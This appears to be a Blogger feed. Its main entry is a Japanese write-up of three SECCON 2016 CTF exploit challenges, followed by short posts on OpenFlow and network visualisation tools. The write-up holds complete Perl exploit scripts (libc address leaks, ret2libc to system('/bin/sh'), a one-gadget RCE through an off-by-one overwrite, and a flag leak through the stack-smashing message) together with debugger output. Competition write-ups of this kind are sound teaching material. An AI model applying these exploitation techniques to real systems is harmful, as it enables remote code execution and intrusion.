tag:blogger.com,1999:blog-35503240980434233072024-03-13T13:15:48.417+09:00故きを温め新しきものを探求するはまっているCTFとOpenFlowとスマートデバイスに関するブログです。Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.comBlogger18125tag:blogger.com,1999:blog-3550324098043423307.post-60308837210788091842016-12-12T01:25:00.000+09:002016-12-13T19:26:43.240+09:00SECCON 2016 オンライン予選 writeupSECCON 2016 Online予選(12/10-12/11)に参加しました。 昨年と比べてExploit問題が多くて大変でしたが、今年は大人数で参加できて楽しかったです。<br />
<br />
次の3問を解きました。<br />
<br />
+ cheer msg (Exploits 100)<br />
+ jmper (Exploits 300)<br />
+ checker (Exploits 300)<br />
<br />
解いた問題について、以降記載します。<br />
<br />
<br />
<h3>
・cheer msg (Exploits 100)</h3>
<div>
<br /></div>
入力するMessage Lengthの値を変えることで、書き込み先を変更可能<br />
<br />
マイナスの値をいれて攻める問題の可能性が高いと推測<br />
<br />
例:<br />
$ perl -e 'print -0x804ca70'<br />
-134531696<br />
Message Lengthに-134531696を指定するとGOT付近を更新可能?<br />
<br />
$ gdb -q cheer_msg -ex 'b *0x804862d' -ex r -ex q<br />
などで続きの処理をながめることができる。 0x804862dはmessage()関数のよびだし部分<br />
<br />
-200あたりを入れるとリターンアドレスより先のアドレスの値を更新可能<br />
<br />
GOT書き換えか、main()関数のリターンアドレス書き換えか?=>要検証<br />
<br />
<br />
前者な気がしたが、GOTまわりを1箇所だけでなく複数書き換えてしまうことになるため、違うと推測。<br />
<br />
-100~-300あたりを入れるとカナリア値破壊やスタックセグメントのリークが可能。後者の可能性が高いと判断★<br />
<br />
一つ一つ手入力はしんどいのでワンライナーで確認<br />
<br />
# for n in `seq 100 4 200` ; do echo -- $n -- ; perl -e "print \"-$n\nAA\nBB\n\"" | ./cheer_msg | xxd -g 1 | tail -n 2 ; done<br />
(snip)<br />
-- 168 --<br />
000000b0: 20 01 0a ..<br />
-- 172 --<br />
000000b0: 20 01 0a ..<br />
-- 176 --<br />
*** stack smashing detected ***: ./cheer_msg terminated<br />
000000b0: 20 ca 85 04 08 01 0a ......<br />
-- 180 --<br />
*** stack smashing detected ***: ./cheer_msg terminated<br />
000000b0: 20 ca 85 04 08 01 0a ......<br />
-- 184 --<br />
*** stack smashing detected ***: ./cheer_msg terminated<br />
000000b0: 20 ca 85 04 08 01 0a ......<br />
-- 188 --<br />
*** stack smashing detected ***: ./cheer_msg terminated<br />
000000b0: 20 ca 85 04 08 01 0a ......<br />
-- 192 --<br />
000000c0: f7 01 0a ...<br />
-- 196 --<br />
<br />
リターンアドレスは-192入れた付近に存在?<br />
<br />
exploitを作成して、深堀りしていく<br />
<br />
# cat try.pl<br />
use pwntools; # 自作のperlモジュール<br />
use Time::HiRes qw(usleep);<br />
<br />
#&connect(\$s, 'localhost', 5000) or die "ng";<br />
&connect(\$s, 'cheermsg.pwn.seccon.jp', 30527) or die "ng";<br />
<br />
print &read_until($s, qr/Length\s\>\>\s/);<br />
$buf = "-".int($ARGV[0])."\n";<br />
syswrite($s, $buf, length($buf));<br />
print &read_until($s, qr/Name\s\>\>\s/);<br />
$buf = p(0x08048430).p(0x080484b0).p(0x0804a029) ."\n"; # printf@plt, _start, __libc_start_main@got+1<br />
# ★_libc_start_main@gotの下位アドレスに0x00がまざっていてはまった<br />
#sleep(5); # デバッガでアタッチしてメモリ配置を確認するためのsleep<br />
syswrite($s, $buf, length($buf));<br />
usleep(1000000);<br />
<br />
sysread($s, $data, 1024);<br />
#printf("[+] %s", unpack("H*", $data));<br />
$i = index($data, "\x20\n");<br />
print "[+] index = $i\n";<br />
$addr = u("\x00".substr($data, $i+2, 3)); # 下位1バイトは0x00★<br />
printf("[+] libc_start_main=0x%08x\n", $addr);<br />
#exit(0);<br />
<br />
# local<br />
#$system_offset=0x3ada0;<br />
#$lsm_offset = 0x18540;<br />
#$binsh_offset = 0x15b82b;<br />
#remote<br />
$system_offset=0x00040310;<br />
$lsm_offset = 0x00019a00;# T __libc_start_main<br />
$binsh_offset = 0x16084c;<br />
<br />
$system_addr = $addr - $lsm_offset + $system_offset;<br />
$binsh_addr = $addr - $lsm_offset + $binsh_offset;<br />
printf("[+] libc_base=0x%08x\n", $addr-$lsm_offset);<br />
printf("[+] system=0x%08x\n", $system_addr);<br />
<br />
$buf = "-".int($ARGV[0])."\n";<br />
syswrite($s, $buf, length($buf));<br />
print &read_until($s, qr/Name\s\>\>\s/);<br />
$buf = p($system_addr).p(0x41414141).p($binsh_addr)."\n"; # system("/bin/sh")★<br />
syswrite($s, $buf, length($buf));<br />
usleep(1000000);<br />
sysread($s, $data, 1024);<br />
&interact($s);<br />
exit(0);<br />
__END__<br />
<br />
exploit実行<br />
<br />
# perl try.pl 144 # ★指定するサイズは-144 e.g. for i in `seq 100 200`; do echo -- $i --; perl try.pl $i; doneなどで確認<br />
Hello, I'm Nao.<br />
Give me your cheering messages :)<br />
Message Length >> Message >><br />
Oops! I forgot to ask your name...<br />
Can you tell me your name?<br />
Name >><br />
Thank you 0?)!<br />
Message :<br />
?[?]?Hello, I'm Nao.<br />
Give me your cheering messages :)<br />
Message Length >><br />
[+] 0a5468616e6b20796f752030840408b084040829a00408210a4d657373616765203a200a8a5bf7e0085df748656c6c6f2c2049276d204e616f2e0a47697665206d6520796f7572206368656572696e67206d65737361676573203a290a0a4d657373616765204c656e677468203e3e20[+] index = 34<br />
[+] libc_start_main=0xf75b8a00<br />
[+] libc_base=0xf759f000<br />
[+] system=0xf75df310<br />
Message >><br />
Oops! I forgot to ask your name...<br />
Can you tell me your name?<br />
Name >> id<br />
uid=10504 gid=1001(cheer_msg) groups=1001(cheer_msg)<br />
ls<br />
cheer_msg<br />
flag.txt<br />
run.sh<br />
cat flag.txt<br />
SECCON{N40.T_15_ju571c3}★フラグ奪取成功<br />
<br />
#色々はまって、この一問で時間とエネルギーをかなり使ってしまった。<br />
<br />
<h3>
・jmper (Exploits 300)</h3>
<div>
<br /></div>
# checksec.sh --file jmper<br />
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE<br />
Full RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH jmper<br />
<br />
デコンパイルした結果をみて、Off-by-oneエラーに気づいてからは一直線だった気がする<br />
<br />
$ ./jmper<br />
Welcome to my class.<br />
My class is up to 30 people :)<br />
1. Add student.<br />
2. Name student.<br />
3. Write memo<br />
4. Show Name<br />
5. Show memo.<br />
6. Bye :)<br />
<br />
$ cat try.pl<br />
use pwntools;<br />
use Time::HiRes qw (usleep);<br />
$pwntools::ARCH = '64';<br />
<br />
# 攻略検討時のコード<br />
#&connect(\$s, 'localhost', 5000) or die "ng";<br />
#$name_id = 0;<br />
#$memo_id = 0;<br />
#$cname = 'A';<br />
#$cmemo = 'a';<br />
#foreach (0..29) {<br />
#&add();<br />
#&update_memo();<br />
#&update_name();<br />
##&show_name();<br />
##&show_memo();<br />
#$cname =~ tr/ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/BCDEFGHIJKLMNOPQRSTUVWXYZ0123456789A/;<br />
#$cmemo =~ tr/abcdefghijklmnopqrstuvwxyz0123456789/bcdefghijklmnopqrstuvwxyz0123456789a/;<br />
#}<br />
<br />
#local<br />
#$lsm_offset=0x20950;<br />
#$rce_offset=0xf170d;<br />
#$env_offset=0x3c7218;<br />
#remote<br />
$lsm_offset=0x21e50;<br />
$rce_offset=0xe66bd;<br />
$env_offset=0x3c14a0;<br />
<br />
#&connect(\$s, 'localhost', 5000) or die "ng";<br />
&connect(\$s, 'jmper.pwn.seccon.jp', 5656) or die "ng";<br />
<br />
&add();<br />
# add(malloc)した後、memoをnameより先に書き込む<br />
&update_memo(0, 'a' x 33); # memoを一バイト多く書き込むことで、nameの格納先アドレスを変えられる. 任意アドレスの読み書きが可能になる?<br />
&update_name(0, "A" x 32);<br />
&add();<br />
&update_memo(1, 'b' x 33); # 33個目に書き込む文字はデバッガで微調整する。nameの格納先アドレスを別の値で上書きできるよう調整する★<br />
&update_name(1, "B" x (32-10).p(0x601fb0)); # 参照したい__libc_start_main@gotのアドレスを埋め込む。offsetはデバッガで調整<br />
&add();<br />
<br />
# leak libc_base<br />
&read_until($s, qr/Bye\s:\)\s/);<br />
$buf = "4\n"; syswrite($s, $buf, length($buf)); # index=1のname(__libc_start_main@got)を参照する<br />
&read_until($s, qr/ID:/);<br />
$buf = "1\n"; syswrite($s, $buf, length($buf));<br />
usleep(500000);<br />
sysread($s, $data, 6);<br />
$libc_base = u($data."\x00\x00") - $lsm_offset;<br />
printf("[+] libc_base=0x%016x\n", $libc_base);<br />
printf("[+] rce_addr=0x%016x\n", $libc_base+$rce_offset);<br />
printf("[+] env_addr=0x%016x\n", $libc_base+$env_offset);<br />
<br />
# leak stack addr<br />
&update_memo(2, 'c' x 33); # index=0と1のデータは一度使うと再利用不可のようなので、もうひとつ作る<br />
&update_name(2, "C" x 32);<br />
&add();<br />
&update_memo(3, 'B' x 33); # 33個目に書き込む文字はデバッガで微調整する。nameの格納先アドレスを上書きできるよう調整する<br />
&update_name(3, "D" x (32-10).p($libc_base+$env_offset)); # スタックのアドレスを__environを参照して特定する。その少し上にリターンアドレスが存在する★<br />
&add();<br />
&read_until($s, qr/Bye\s:\)\s/);<br />
$buf = "4\n"; syswrite($s, $buf, length($buf));<br />
&read_until($s, qr/ID:/);<br />
$buf = "3\n"; syswrite($s, $buf, length($buf));<br />
usleep(500000);<br />
sysread($s, $data, 6);<br />
$ret_addr = u($data."\x00\x00") - (int($ARGV[0])*8); # リターンアドレスの特定には微調整が必要。引数で変えられるようにしておく★<br />
printf("[+] ret_addr=0x%016x\n", $ret_addr);<br />
<br />
# update ret_addr<br />
&update_memo(4, 'e' x 33);# 前につくったデータは再利用不可。もうひとつ作る<br />
&update_name(4, "E" x 32);<br />
&add();<br />
&update_memo(5, '"' x 33); # 33個目に書き込む文字はデバッガで微調整する。nameの格納先アドレスを上書きできるよう調整する★<br />
&update_name(5, "F" x (32-10).p($ret_addr)); # 特定したリターンアドレスを埋め込んで上書きする<br />
&add();<br />
&update_name(5, p($libc_base+$rce_offset)); # One Gadget RCEで攻略<br />
#&update_name(5, p(0x400730)); #0000000000400730 <_start>: # リターンアドレス特定用。引数を変えながら実行し、Webcomeと再表示される値を探る。<br />
<br />
foreach (0..29-6) { &add(); } # retまで辿り着くためにaddを繰り返す<br />
usleep(500000);<br />
#sysread($s, $data, 1024); print $data; # リターンアドレス特定用<br />
<br />
$buf = "cat f*\n"; syswrite($s, $buf, length($buf)); # cat flag.txtをキック<br />
usleep(500000);<br />
sysread($s, $data, 1024); print $data;<br />
exit;<br />
<br />
sub add {<br />
&read_until($s, qr/Bye\s:\)\s/);<br />
$buf = "1\n"; syswrite($s, $buf, length($buf));<br />
}<br />
<br />
sub update_name {<br />
my $num = shift || 0;<br />
my $str = shift || undef;<br />
&read_until($s, qr/Bye\s:\)\s/);<br />
$buf = "2\n"; syswrite($s, $buf, length($buf));<br />
&read_until($s, qr/ID:/);<br />
$buf = $num."\n"; syswrite($s, $buf, length($buf));<br />
&read_until($s, qr/name:/);<br />
$buf = $str . "\n"; syswrite($s, $buf, length($buf));<br />
}<br />
<br />
sub update_memo {<br />
my $num = shift || 0;<br />
my $str = shift || undef;<br />
&read_until($s, qr/Bye\s:\)\s/);<br />
$buf = "3\n"; syswrite($s, $buf, length($buf));<br />
&read_until($s, qr/ID:/);<br />
$buf = $num."\n"; syswrite($s, $buf, length($buf));<br />
&read_until($s, qr/memo:/);<br />
$buf = $str . "\n"; syswrite($s, $buf, length($buf));<br />
}<br />
<br />
sub show_name {<br />
&read_until($s, qr/Bye\s:\)\s/);<br />
$buf = "4\n"; syswrite($s, $buf, length($buf));<br />
&read_until($s, qr/ID:/);<br />
$buf = $name_id ."\n"; syswrite($s, $buf, length($buf));<br />
$name_id++;<br />
}<br />
<br />
sub show_memo {<br />
&read_until($s, qr/Bye\s:\)\s/);<br />
$buf = "5\n"; syswrite($s, $buf, length($buf));<br />
&read_until($s, qr/ID:/);<br />
$buf = $memo_id ."\n"; syswrite($s, $buf, length($buf));<br />
$memo_id++;<br />
}<br />
__END__<br />
前準備(libc内の各関数などのオフセット確認)<br />
$ cat getaddrs.pl<br />
use pwntools;<br />
<br />
$libc = new elfinfo(file => 'libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e');<br />
printf("[+] system offset=0x%x\n", $libc->function('system'));<br />
printf("[+] execl offset=0x%x\n", $libc->function('execl'));<br />
printf("[+] open offset=0x%x\n", $libc->function('open'));<br />
printf("[+] read offset=0x%x\n", $libc->function('read'));<br />
printf("[+] write offset=0x%x\n", $libc->function('write'));<br />
printf("[+] __environ offset=0x%x\n", $libc->function('__environ'));<br />
printf("[+] lsm offset=0x%x\n", $libc->function('__libc_start_main'));<br />
printf("[+] /bin/sh offset=0x%x\n", $libc->search('/bin/sh'));<br />
@addrs = $libc->rce();<br />
if (@addrs > 0) {<br />
map { printf("[+] one-gadget-rce x64 offset=0x%x\n", $_); } @addrs;<br />
}<br />
<br />
$ perl getaddr.pl<br />
[+] system offset=0x46590<br />
[+] execl offset=0xc14a0<br />
[+] open offset=0xeb4b0<br />
[+] read offset=0xeb6a0<br />
[+] write offset=0xeb700<br />
[+] __environ offset=0x3c14a0<br />
[+] lsm offset=0x21e50<br />
[+] /bin/sh offset=0x17c8c3<br />
[+] base_addr=0x7fffeb9e40<br />
[+] system_addr=0x7ffff003d0<br />
[+] one-gadget-rce x64 offset=0x4647c<br />
[+] one-gadget-rce x64 offset=0xc12b0<br />
[+] one-gadget-rce x64 offset=0xe5765★ここが微妙にずれていてはまった。手動で確認して対応した<br />
<br />
リターンアドレス特定<br />
# for i in `seq 10 40`; do echo -- $i --; perl try.pl $i; done<br />
30でいける★<br />
<br />
# perl try.pl 30<br />
[+] libc_base=0x00007fef83ac1000<br />
[+] rce_addr=0x00007fef83ba76bd<br />
[+] env_addr=0x00007fef83e824a0<br />
[+] ret_addr=0x00007ffd7a600698<br />
Exception has occurred. Jump!<br />
Nice jump! Bye :)<br />
SECCON{3nj0y_my_jmp1n9_serv1ce}★フラグ奪取成功<br />
<br />
<h3>
・checker (Exploits 300)</h3>
<div>
<br /></div>
# file checker<br />
checker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped<br />
<br />
# checksec.sh --file checker<br />
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE<br />
Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH checker<br />
<br />
# strings -tx -a checker<br />
a38 flag.txt<br />
a48 Hello! What is your name?<br />
a62 NAME :<br />
a6b Do you know flag?<br />
a89 Oh, Really??<br />
a96 Please tell me the flag!<br />
aaf FLAG :<br />
ab8 Why won't you tell me that???<br />
ad7 You are a liar...<br />
aea Thank you, %s!!<br />
(snip)<br />
2277 flag<br />
227c _init<br />
2282 read_flag<br />
<br />
<br />
# ./checker<br />
Hello! What is your name?<br />
NAME : %p<br />
<br />
Do you know flag?<br />
>> yes<br />
<br />
Oh, Really??<br />
Please tell me the flag!<br />
FLAG : %p<br />
You are a liar...<br />
<br />
bofの脆弱性あり、ただカナリア値が埋め込まれている<br />
スタック上のargvを更新後、stack checkにわざと引っかかって、フラグを出力させる問題?=>要検証<br />
<br />
nameを答える質問で適当に256バイト書いて、"yes"と答え、flagの質問にはnameのときに書いた後半128バイトを書く、でフラグ文字列のチェックをすり抜け可能。<br />
264バイト以上使うと、stack checkに引っかかる。でもフラグを上書きすることになるので取得できなくなる=>NG<br />
<br />
nameを有効活用し、strcmpをうまく使ってカナリア値を特定してbof?=>接続を維持できないのでNG<br />
<br />
わざとstack checkにひっかかってフラグを出力する問題の可能性が高い★<br />
<br />
リモートで、stack smashing detectedが拾えるかどうか(環境変数LIBC_FATAL_STDERR_=1しなくてよいかどうか)を確認<br />
=>環境変数上書き不要。stack smashing detectedが返ってくる★<br />
<br />
デバッガでメモリ配置確認<br />
<br />
gdb-peda$ telescope 0x6010c0<br />
0000| 0x6010c0 ("FLAG_", 'G' <repeats 17 times>, "\n") ; ★フラグ格納先<br />
0008| 0x6010c8 ('G' <repeats 14 times>, "\n")<br />
0016| 0x6010d0 --> 0xa474747474747 ('GGGGGG\n')<br />
<br />
400919: e8 b2 fc ff ff call 4005d0 <__stack_chk_fail@plt> ★逆アセンブルした結果からbpのしかけどころ確認<br />
40091e: c9 leave<br />
40091f: c3 ret<br />
<br />
0000| 0x7fffffffe318 --> 0x7ffff7a2fa40 (<__libc_start_main+240>: mov edi,eax) ; ★スタックまわり確認<br />
0008| 0x7fffffffe320 --> 0x7fffffffe3f8 --> 0x7fffffffe679 ("/mnt/ctf/seccon2016/pwn300_2/checker")<br />
0016| 0x7fffffffe328 --> 0x7fffffffe3f8 --> 0x7fffffffe679 ("/mnt/ctf/seccon2016/pwn300_2/checker")<br />
0024| 0x7fffffffe330 --> 0x100000001<br />
0032| 0x7fffffffe338 --> 0x400808 (<main>: push rbp)<br />
0040| 0x7fffffffe340 --> 0x0<br />
0048| 0x7fffffffe348 --> 0xfd8b3f7e0915e11c<br />
<br />
gdb-peda$ telescope $rsp-0xa0 0x300<br />
0000| 0x7fffffffe278 --> 0x400905 (<main+253>: mov eax,0x0)<br />
0008| 0x7fffffffe280 ('A' <repeats 28 times>) ; ★バッファの先頭<br />
0016| 0x7fffffffe288 ('A' <repeats 20 times>)<br />
0024| 0x7fffffffe290 ('A' <repeats 12 times>)<br />
0032| 0x7fffffffe298 --> 0x41414141 ('AAAA')<br />
0040| 0x7fffffffe2a0 --> 0x300000000<br />
0048| 0x7fffffffe2a8 --> 0x5dd504936e33ec00<br />
0056| 0x7fffffffe2b0 --> 0x7fffffffe2d0 --> 0x2<br />
0064| 0x7fffffffe2b8 --> 0x40076e (<init+33>: mov rdx,QWORD PTR [rbp-0x8])<br />
0072| 0x7fffffffe2c0 --> 0x7ffff7ff7638 --> 0x7ffff7a0f000 --> 0x3010102464c457f<br />
0080| 0x7fffffffe2c8 --> 0x5dd504936e33ec00<br />
0088| 0x7fffffffe2d0 --> 0x2<br />
0096| 0x7fffffffe2d8 --> 0x4009fd (<__libc_csu_init+77>: add rbx,0x1)<br />
0104| 0x7fffffffe2e0 --> 0xc2<br />
0112| 0x7fffffffe2e8 --> 0x0<br />
0120| 0x7fffffffe2f0 --> 0x4009b0 (<__libc_csu_init>: push r15)<br />
0128| 0x7fffffffe2f8 --> 0x400660 (<_start>: xor ebp,ebp)<br />
0136| 0x7fffffffe300 --> 0x7fffffffe3f0 --> 0x1<br />
0144| 0x7fffffffe308 --> 0x5dd504936e33ec00<br />
0152| 0x7fffffffe310 --> 0x4009b0 (<__libc_csu_init>: push r15)<br />
0160| 0x7fffffffe318 --> 0x7ffff7a2fa40 (<__libc_start_main+240>: mov edi,eax)<br />
0168| 0x7fffffffe320 --> 0x7fffffffe3f8 --> 0x7fffffffe679 ("/mnt/ctf/seccon2016/pwn300_2/checker")<br />
0176| 0x7fffffffe328 --> 0x7fffffffe3f8 --> 0x7fffffffe679 ("/mnt/ctf/seccon2016/pwn300_2/checker")<br />
0184| 0x7fffffffe330 --> 0x100000001<br />
0192| 0x7fffffffe338 --> 0x400808 (<main>: push rbp)<br />
<br />
gdb-peda$ p/d 0x7fffffffe3f8 - 0x7fffffffe280★オフセット確認<br />
$1 = 376★<br />
<br />
socatでサーバを立ててとりあえずexploit作成<br />
<br />
# perl try.pl<br />
Hello! What is your name?<br />
NAME :<br />
Do you know flag?<br />
>><br />
Oh, Really??<br />
Please tell me the flag!<br />
FLAG : You are a liar...<br />
*** stack smashing detected ***: ./checker terminated<br />
<br />
リモートでもOK。stack smashing detectedは数回に一回しかでない?!<br />
<br />
gdbでsiしてargvの格納先を把握<br />
<br />
=> 0x7f649a030e87 <__fortify_fail+87>: call 0x7f6499f90980<br />
0x7f649a030e8c <__fortify_fail+92>: jmp 0x7f649a030e68 <__fortify_fail+56><br />
0x7f649a030e8e: xchg ax,ax<br />
0x7f649a030e90: sub rsp,0x8<br />
0x7f649a030e94: mov esi,0x1<br />
Guessed arguments:<br />
arg[0]: 0x1<br />
arg[1]: 0x7f649a0a6dad ("*** %s ***: %s terminated\n")<br />
arg[2]: 0x7f649a0a6d95 ("stack smashing detected")<br />
arg[3]: 0x7fff611cf600 ("./checker") ★出力する際、ここを見ている<br />
<br />
ただ、arg[3]が0x7fff006010c0になってしまう問題(0x7fffが残ってしまう問題)を解決する必要あり。<br />
<br />
nameを活用?。yesの後ろに文字列を仕込む? など、いろいろ試してみる<br />
<br />
発見! Do you know flag?と何回も聞いてくれることを利用して\x00を1バイトづつ埋め込んでいけば攻略できる★<br />
<br />
exploit更新<br />
<br />
# cat try.pl<br />
use pwntools;<br />
use Time::HiRes qw (usleep);<br />
$pwntools::ARCH = '64';<br />
<br />
#local<br />
#&connect(\$s, 'localhost', 5000) or die "ng";<br />
&connect(\$s, 'checker.pwn.seccon.jp', 14726) or die "ng";<br />
print &read_until($s, qr/NAME\s:\s/);<br />
<br />
# Name<br />
$buf = "hoge" . "\n" ; syswrite($s, $buf, length($buf));<br />
<br />
# bofでargvにフラグのアドレスを埋め込みたいが0x00で書き込みがとまって、0x7fff006010c0となってしまう<br />
# Do you know flag? と何回も聞いてくれるので、これを利用して0x00をスタックに埋めていけばOK<br />
print &read_until($s, qr/>>/);<br />
$buf = "P" x (376+7) . "\n"; syswrite($s, $buf, length($buf));<br />
print &read_until($s, qr/>>/);<br />
$buf = "P" x (376+6) . "\n"; syswrite($s, $buf, length($buf));<br />
print &read_until($s, qr/>>/);<br />
$buf = "P" x (376+5) . "\n"; syswrite($s, $buf, length($buf));<br />
print &read_until($s, qr/>>/);<br />
$buf = "P" x (376+4) . "\n"; syswrite($s, $buf, length($buf));<br />
print &read_until($s, qr/>>/);<br />
$buf = "P" x (376+0) . p(0x6010c0) . "\n"; syswrite($s, $buf, length($buf));<br />
print &read_until($s, qr/>>/);<br />
$buf = "yes\n"; syswrite($s, $buf, length($buf));<br />
#sleep(5); # デバッガでアタッチしてメモリ配置を確認するためのsleep。 gdb -q -p `pidof -s ./checker`<br />
<br />
print &read_until($s, qr/FLAG\s:\s/);<br />
$buf = "X" x (128) . p(0x6010c0) x 1 . "\n";<br />
syswrite($s, $buf, length($buf));<br />
usleep(1000000);<br />
sysread($s, $data, 1024); print $data;<br />
exit;<br />
__END__<br />
exploit実行。<br />
stack smashing detectedがなかなか返ってこなかったので、フラグが落ちてくるまで繰り返し実行<br />
<br />
$ while : ; do echo --; perl try.pl; sleep 0.5; done<br />
(snip)<br />
--<br />
Hello! What is your name?<br />
NAME :<br />
Do you know flag?<br />
>><br />
Do you know flag?<br />
>><br />
(snip)<br />
Do you know flag?<br />
>><br />
Oh, Really??<br />
Please tell me the flag!<br />
FLAG : You are a liar...<br />
*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated★フラグ奪取成功!<br />
<br />
取りこぼし防止<br />
# tcpdump -i br0 -nn -A -l tcp port 14726 | grep -i seccon<br />
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode<br />
listening on br0, link-type EN10MB (Ethernet), capture size 262144 bytes<br />
.]..x..H*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated<br />
<br />
# 0x00の埋め込みは2回でよかったかも...<br />
<br />
<br />
他の問題も少し見てみたが、 heap絡みの問題が多かったような気がする(要強化)。<br />
<br />
以上Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-30746888355463305792013-07-22T22:06:00.000+09:002013-07-22T22:06:39.355+09:00POXを使ってOpenFlowコントローラの自作に挑戦!FreeBSD上でも動作するJSON-RPC対応のOpenFlowコントローラを作成してみた。<br />
<br />
続きは以下に掲載。<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FPOX%A4%F2%BB%C8%A4%C3%A4%C6OpenFlow%A5%B3%A5%F3%A5%C8%A5%ED%A1%BC%A5%E9%A4%CE%BC%AB%BA%EE%A4%CB%C4%A9%C0%EF" target="_blank">ネットワーク/POXを使ってOpenFlowコントローラの自作に挑戦</a><br />
<br />
【コンテンツ】<br />
- サンプルプログラムの課題<br />
- 実装方針<br />
- ファイル構成<br />
- 実装機能(各メソッド)の概要<br />
- 実装機能(各メソッド)の使用例<br />
- エラーメッセージ<br />
- 苦戦した点<br />
- 次回予告<br />
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR-5wnqeF2y6C-_qDgL7ujzQG7cCTuQ5Nmb-MSp5hndvITzTk29kPOoLLqujmRh2cuKZLNro8ALabpmx05WrIDTNQW6miHZr-qBtG6KDtsArDGcK-sdBckxFqs8U54sJ2GdpxqPJ6nMJSP/s1600/sample10_02.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR-5wnqeF2y6C-_qDgL7ujzQG7cCTuQ5Nmb-MSp5hndvITzTk29kPOoLLqujmRh2cuKZLNro8ALabpmx05WrIDTNQW6miHZr-qBtG6KDtsArDGcK-sdBckxFqs8U54sJ2GdpxqPJ6nMJSP/s400/sample10_02.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">JSON-RPCに対応したOpenFlowコントローラとWebGLの融合</td></tr>
</tbody></table>
<div>
<br /></div>
Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-33367913996625957562013-07-03T03:39:00.000+09:002013-07-03T03:39:01.638+09:00Vimage Jail環境でOpen vSwitch v1.11.90を試す!Open vSwitchのv1.9.0(26 Feb 2013)からFreeBSDがサポートされたことを知って、すぐに試してみたが、Vimage Jailで構築した仮想環境では動作しないという問題が発生。<br />
<br />
しばらくはまってしまったが、先日やっと問題を解決することができた。<br />
<div>
<br /></div>
続きは以下に掲載。<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FVimage%20Jail%A4%C7%B9%BD%C3%DB%A4%B7%A4%BF%B2%BE%C1%DB%B4%C4%B6%AD%A4%C7%BA%C7%BF%B7%A4%CEOpen%20vSwitch%A4%F2%BB%EE%A4%B9" target="_blank">ネットワーク/Vimage Jailで構築した仮想環境で最新のOpen vSwitchを試す</a><br />
<br />
【コンテンツ】<br />
+ Vimage Jailで構築した仮想環境で最新のOpen vSwitchを試す<br />
- 発生した問題<br />
- 原因<br />
- 対処法<br />
- まとめ<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0aOBx2-Ue9xaAkdte5TGiUK2lWrNHcWpYsrefpqnpN7ZNHMSTTgtlzn5kzrSPpedqN6GTqn9uLB_a1NCU-htcz9nEmpOzQGl1xpJ-wlY4fhqgVoU9oLlPDwuqWICMnO4Ebc4fanviJj39/s506/ovs_vimagejail01.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0aOBx2-Ue9xaAkdte5TGiUK2lWrNHcWpYsrefpqnpN7ZNHMSTTgtlzn5kzrSPpedqN6GTqn9uLB_a1NCU-htcz9nEmpOzQGl1xpJ-wlY4fhqgVoU9oLlPDwuqWICMnO4Ebc4fanviJj39/s400/ovs_vimagejail01.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">発生した問題</td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-24965163543534044672013-06-17T00:39:00.000+09:002013-06-17T06:38:09.011+09:00glNetViz 0.9.1 Release!glNetViz is a tool for visualizing computer network topologies with WebGL.<br />
<br />
[Examples]<br />
<a href="http://gpp256.zapto.org/glNetViz/docs/en/html/contents02.html" target="_blank">http://gpp256.zapto.org/glNetViz/docs/en/html/contents02.html</a><br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix1l9UsJZiPNLCcLNcwMv8cbSZBd0ApGKltLz6hyphenhyphenrVcYirPE4nvXCswWUUvTvDzIQjNDyxGYZs_EnReHiOpQKgTmZaODgHSqnZP2Kfg6zcJhIB0hzFueYUg3yLsKY5BfwWJYJIxbEKI6Y_/s1600/netviz_example08.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="211" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix1l9UsJZiPNLCcLNcwMv8cbSZBd0ApGKltLz6hyphenhyphenrVcYirPE4nvXCswWUUvTvDzIQjNDyxGYZs_EnReHiOpQKgTmZaODgHSqnZP2Kfg6zcJhIB0hzFueYUg3yLsKY5BfwWJYJIxbEKI6Y_/s320/netviz_example08.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">glNetViz Example08</td></tr>
</tbody></table>
<br />
